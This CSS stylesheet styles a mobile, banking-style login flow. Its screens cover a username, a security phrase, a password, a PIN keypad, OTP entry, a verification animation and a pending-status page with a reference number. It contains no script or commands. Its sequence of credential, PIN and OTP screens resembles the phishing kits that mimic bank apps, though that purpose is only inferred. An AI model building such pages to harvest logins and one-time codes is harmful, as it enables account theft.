/* ========================= */
/* RESET */
/* ========================= */

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

html,
body{
    width:100%;
    height:100%;
}

body{
    background:#d8d8d8;
    display:flex;
    justify-content:center;
    align-items:center;
    min-height:100vh;
    overflow:hidden;

    font-family:
    -apple-system,
    BlinkMacSystemFont,
    "Segoe UI",
    Roboto,
    Helvetica,
    Arial,
    sans-serif;
}

/* ========================= */
/* PHONE SCREEN */
/* ========================= */

.phone-screen{
    width:100%;
    max-width:420px;
    height:100vh;
    background:#fff;
    position:relative;
    overflow-x:hidden;
    overflow-y:auto;
    border-radius:30px;
    box-shadow:0 10px 35px rgba(0,0,0,0.12);
}

/* ========================= */
/* TOP BAR */
/* ========================= */

.top-bar{
    padding:18px 20px 10px;
}

.top-bar i{
    font-size:17px;
    color:#666;
    cursor:pointer;
}

/* ========================= */
/* STEP */
/* ========================= */

.step,
.page{
    display:none;
    min-height:100vh;
    position:relative;
    width:100%;
    padding-bottom:120px;
}

.step.active,
.page.active{
    display:block;
}

/* ========================= */
/* CONTENT */
/* ========================= */

.content{
    padding:0 24px 28px;
}

.center{
    text-align:center;
}

/* ========================= */
/* TITLES */
/* ========================= */

.small-title,
.mini-title{
    color:#8a8a8a;
    font-size:13px;
    margin-top:8px;
    margin-bottom:8px;
    font-weight:500;
}

.main-title{
    font-size:25px;
    color:#222;
    margin-top:4px;
    margin-bottom:26px;
    font-weight:700;
}

h1{
    font-size:22px;
    color:#111;
    line-height:1.3;
    margin-bottom:24px;
    font-weight:700;
}

h2{
    font-size:23px;
    color:#111;
    font-weight:700;
}

/* ========================= */
/* INPUT AREA LOGIN */
/* ========================= */

.input-area{
    position:relative;
}

.input-area input{
    width:100%;
    border:none;
    border-bottom:1.5px solid #ececec;
    padding-bottom:13px;
    padding-right:75px;
    font-size:19px;
    color:#222;
    outline:none;
    background:none;
}

.input-area input:focus{
    border-bottom:1.5px solid #ea1d3f;
}

.next-mini{
    position:absolute;
    right:0;
    top:-2px;
    width:42px;
    height:42px;
    border:none;
    border-radius:11px;
    background:#ef3d57;
    color:#fff;
    cursor:pointer;
    display:none;
}

.next-mini i{
    font-size:13px;
}

.count{
    text-align:right;
    margin-top:8px;
    color:#666;
    font-size:12px;
}

/* ========================= */
/* NOTE BOX */
/* ========================= */

.note-box{
    margin-top:26px;
    line-height:1.7;
}

.note-title{
    color:#666;
    margin-bottom:8px;
    font-size:13px;
}

.note-text{
    color:#8d8d8d;
    font-size:13px;
}

.note-text span{
    color:#df6d74;
}

.note-box h3{
    margin-bottom:7px;
    color:#111;
    font-size:14px;
}

.note-box p{
    color:#555;
    font-size:13px;
}

.note-box a{
    display:inline-block;
    margin-top:8px;
    color:#d81c3f;
    text-decoration:none;
    font-size:13px;
}

/* ========================= */
/* INPUT GROUP */
/* ========================= */

.input-group{
    margin-bottom:20px;
}

.input-group label{
    display:block;
    margin-bottom:8px;
    color:#444;
    font-size:13px;
    font-weight:600;
}

.input-group input{
    width:100%;
    height:44px;
    border:none;
    border-bottom:1px solid #ececec;
    font-size:15px;
    outline:none;
    background:none;
    color:#222;
}

.input-group input::placeholder{
    color:#a1a1a1;
}

.input-group input:focus{
    border-bottom:1px solid #ea1d3f;
}

/* ========================= */
/* BOTTOM STEP 1 */
/* ========================= */

.bottom-start{
    position:absolute;
    bottom:20px;
    left:0;
    width:100%;
    padding:0 24px;
}

.dont-account{
    text-align:right;
    color:#777;
    font-size:12px;
    margin-bottom:10px;
}

.bottom-buttons{
    display:flex;
    gap:12px;
    align-items:center;
}

.email-btn,
.apply-btn{
    flex:1;
    height:48px;
    border:none;
    border-radius:16px;

    display:flex;
    justify-content:center;
    align-items:center;

    text-align:center;
    padding:0 14px;

    font-size:12px;
    font-weight:600;
    line-height:1.2;

    cursor:pointer;
}

.email-btn{
    background:#f5f5f5;
    color:#555;
}

.apply-btn{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* USER TOP */
/* ========================= */

.top-user{
    display:flex;
    justify-content:space-between;
    align-items:flex-start;
    gap:12px;
    margin-top:12px;
}

.user-label{
    font-size:12px;
    color:#6d6d6d;
    margin-bottom:4px;
}

#showUser,
#finalUser{
    font-size:16px;
    font-weight:600;
    color:#111;
    max-width:120px;
    word-break:break-word;
}

/* ========================= */
/* PHRASE */
/* ========================= */

.phrase-side{
    flex:1;
    display:flex;
    flex-direction:column;
    align-items:center;
}

.phrase-box{
    width:100%;
    max-width:150px;
    height:50px;
    background:#4b4f59;
    border-radius:14px;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-size:14px;
    font-weight:700;
    text-align:center;
}

.phrase-link{
    margin-top:10px;
    color:#ef6d6d;
    font-size:11px;
    text-align:center;
    line-height:1.5;
}

/* ========================= */
/* QUESTION CARD */
/* ========================= */

.question-card{
    margin-top:28px;
    background:#fff;
    border-radius:18px;
    padding:20px 16px;
    box-shadow:0 2px 12px rgba(0,0,0,0.06);
}

.question-card h3{
    text-align:center;
    color:#777;
    font-size:14px;
    margin-bottom:20px;
    line-height:1.5;
}

.question-buttons{
    display:flex;
}

.question-buttons button{
    flex:1;
    height:44px;
    border:none;
    font-size:14px;
    cursor:pointer;
}

.btn-no{
    background:#fff;
    color:#dd6d79;
}

.btn-yes{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* PASSWORD */
/* ========================= */

.password-section{
    margin-top:24px;
}

.password-section label{
    display:block;
    font-size:14px;
    color:#333;
    margin-bottom:12px;
}

.password-input{
    display:flex;
    align-items:center;
    border-bottom:1.5px solid #d9d9d9;
    padding-bottom:10px;
}

.password-input i{
    width:34px;
    height:34px;
    border-radius:10px;
    background:#f1f1f1;
    display:flex;
    justify-content:center;
    align-items:center;
    font-size:14px;
    color:#666;
    margin-right:10px;
    cursor:pointer;
}

.password-input input{
    border:none;
    outline:none;
    width:100%;
    font-size:15px;
    background:transparent;
}

.password-section a{
    display:block;
    margin-top:12px;
    color:#666;
    text-decoration:none;
    font-size:12px;
}

/* ========================= */
/* BOTTOM LOGIN */
/* ========================= */

.bottom-card{
    position:absolute;
    bottom:0;
    left:0;
    width:100%;
    background:#fff;
    padding:18px 22px 22px;
    border-top-left-radius:28px;
    border-top-right-radius:28px;
    box-shadow:0 -3px 18px rgba(0,0,0,0.06);
}

.bottom-login p{
    text-align:center;
    color:#777;
    line-height:1.7;
    font-size:11px;
    margin-bottom:16px;
}

.bottom-login span{
    color:#d85b68;
}

/* ========================= */
/* BUTTON */
/* ========================= */

.next-big,
.bottom-btn button{
    width:100%;
    height:44px;
    border:none;
    border-radius:12px;
    background:#ef3d57;
    color:#fff;
    font-size:14px;
    font-weight:600;
    cursor:pointer;
}

.bottom-btn{
    position:absolute;
    bottom:20px;
    left:0;
    width:100%;
    padding:0 24px;
}

/* ========================= */
/* PIN */
/* ========================= */

.pin-title{
    margin-top:24px;
    color:#666;
    font-size:13px;
}

.pin-circle{
    display:flex;
    justify-content:center;
    gap:10px;
    margin:20px 0 28px;
}

.pin-circle span{
    width:11px;
    height:11px;
    border:1.5px solid #bdbdbd;
    border-radius:50%;
    transition:0.2s;
}

.pin-circle span.active{
    background:#ea1d3f;
    border-color:#ea1d3f;
}

/* ========================= */
/* KEYPAD */
/* ========================= */

.keypad{
    display:grid;
    grid-template-columns:repeat(3,1fr);
    gap:10px;
    width:100%;
    margin-top:10px;
}

.keypad button{
    border:none;
    background:none;
    font-size:24px;
    color:#333;
    height:52px;
    cursor:pointer;
    border-radius:14px;
    transition:0.2s;
}

.keypad button:hover{
    background:#f5f5f5;
}

.keypad button:active{
    transform:scale(0.95);
    background:#ececec;
}

/* ========================= */
/* OTP */
/* ========================= */

.otp-text{
    color:#555;
    line-height:1.5;
    font-size:13px;
}

.phone-number{
    margin-top:10px;
    font-size:14px;
    color:#666;
    font-weight:500;
    letter-spacing:0.5px;
}

.valid-text{
    margin-top:10px;
    color:#666;
    font-size:11px;
}

.otp-code{
    font-size:32px;
    letter-spacing:5px;
    color:#d1d1d1;
    margin-top:24px;
    text-align:center;
}

.line{
    width:100%;
    height:1px;
    background:#eee;
    margin-top:14px;
}

.otp-pad{
    margin-top:22px;
}

/* ========================= */
/* SECURE */
/* ========================= */

.secure-title{
    margin-top:10px;
}

.secure-text{
    margin-top:12px;
    color:#555;
    line-height:1.6;
    font-size:13px;
}

.animation-box{
    margin-top:40px;
}

.dot{
    width:14px;
    height:14px;
    background:#ea1d3f;
    border-radius:50%;
    margin:auto;
    margin-bottom:18px;
    animation:pulse 1s infinite;
}

.phone-icon{
    font-size:54px;
}

@keyframes pulse{

    0%{
        transform:scale(1);
        opacity:1;
    }

    100%{
        transform:scale(1.6);
        opacity:0;
    }

}

.progress-bar{
    width:100%;
    height:7px;
    background:#f1f1f1;
    border-radius:30px;
    margin-top:22px;
    overflow:hidden;
}

.progress{
    width:30%;
    height:100%;
    background:#ea1d3f;
    animation:loading 3s infinite;
}

@keyframes loading{

    0%{
        width:0%;
    }

    100%{
        width:100%;
    }

}

.time-text{
    margin-top:10px;
    color:#777;
    font-size:11px;
}

.cant{
    display:block;
    margin-top:40px;
    color:#d81c3f;
    text-decoration:none;
    font-size:11px;
}

/* ========================= */
/* STATUS */
/* ========================= */

.status-box{
    display:flex;
    align-items:center;
    gap:10px;
    padding:14px 0;
    border-bottom:1px solid #eee;
}

.warning{
    width:26px;
    height:26px;
    background:#ff5c00;
    border-radius:50%;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-weight:bold;
    font-size:13px;
}

.info-box{
    margin-top:16px;
    padding-bottom:16px;
    border-bottom:1px solid #eee;
    line-height:1.6;
}

.info-box p{
    color:#555;
    font-size:12px;
}

.info-box a{
    color:#d81c3f;
    text-decoration:none;
    font-size:12px;
}

.feature-box{
    margin-top:20px;
}

.feature-box h4{
    margin-bottom:12px;
    color:#111;
    font-size:14px;
}

.feature{
    display:flex;
    justify-content:space-between;
    align-items:center;
    padding:14px 0;
    border-bottom:1px solid #f1f1f1;
    font-size:12px;
}

.active-area{
    text-align:right;
}

.active-area small{
    color:#2ba861;
    display:block;
    margin-bottom:4px;
    font-size:10px;
}

.amount{
    border:1px solid #ddd;
    border-radius:6px;
    padding:3px 7px;
    font-size:10px;
}

.reference-box{
    background:#f8f8f8;
    border:1px solid #ececec;
    border-radius:14px;
    padding:16px;
    margin:18px 0;
}

.ref-label{
    font-size:12px;
    color:#777;
    margin-bottom:8px;
}

.ref-number{
    font-size:18px;
    font-weight:700;
    letter-spacing:1px;
    color:#111;
    margin-bottom:8px;
    word-break:break-word;
}

.ref-note{
    font-size:12px;
    color:#666;
    line-height:1.5;
}

.pending-status{
    color:#ff6b00;
    font-weight:600;
}

.bank-note{
    margin-top:16px;
    font-size:12px;
    line-height:1.6;
    color:#555;
}

/* ========================= */
/* MOBILE FULL SCREEN */
/* ========================= */

@media(max-width:700px){

    body{
        background:#fff;
        padding:0;
        overflow:hidden;
    }

    .phone-screen{
        width:100%;
        max-width:100%;
        height:100vh;
        border-radius:0;
        box-shadow:none;
    }

    .content{
        padding:0 20px 24px;
    }

    .bottom-start{
        padding:0 20px;
    }

    .bottom-btn{
        padding:0 20px;
    }

    .bottom-card{
        padding:18px 20px 20px;
    }

}
/* ========================= */
/* TAMBAHAN AGAR INPUT RAPI */
/* ========================= */

.password-input{
    background:#fff;
    border:1px solid #ececec;
    border-radius:18px;
    padding:12px 14px;
    box-shadow:0 2px 8px rgba(0,0,0,0.04);
}

.password-input input{
    border:none !important;
    background:transparent;
}

.password-input i{
    width:36px;
    height:36px;
    border-radius:12px;
    background:#f5f5f5;
    display:flex;
    align-items:center;
    justify-content:center;
}